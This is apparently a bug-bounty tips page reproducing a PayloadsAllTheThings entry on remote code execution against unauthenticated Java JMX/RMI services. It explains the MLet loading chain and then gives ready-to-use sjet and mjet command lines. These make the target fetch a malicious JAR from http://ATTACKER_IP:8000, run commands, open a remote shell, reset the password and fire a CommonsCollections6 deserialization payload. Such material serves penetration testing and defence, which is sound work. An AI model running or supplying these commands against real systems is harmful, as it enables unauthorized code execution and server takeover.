Java RMI: RCE using sjet or mjet

Remote code execution (RCE)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Requirements

  • Jython

  • The JMX server can connect to a http service that is controlled by the attacker

  • JMX authentication is not enabled

Remote Command Execution

The attack involves the following steps:

  • Starting a web server that hosts the MLet and a JAR file with the malicious MBeans

  • Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX

  • Invoking the getMBeansFromURL method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.

  • The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.

  • The attacker finally invokes methods from the malicious MBean.

Exploit the JMX using siberas/sjet or mogwailabs/mjet

powershell
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"

jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell

Comments

No comments yet.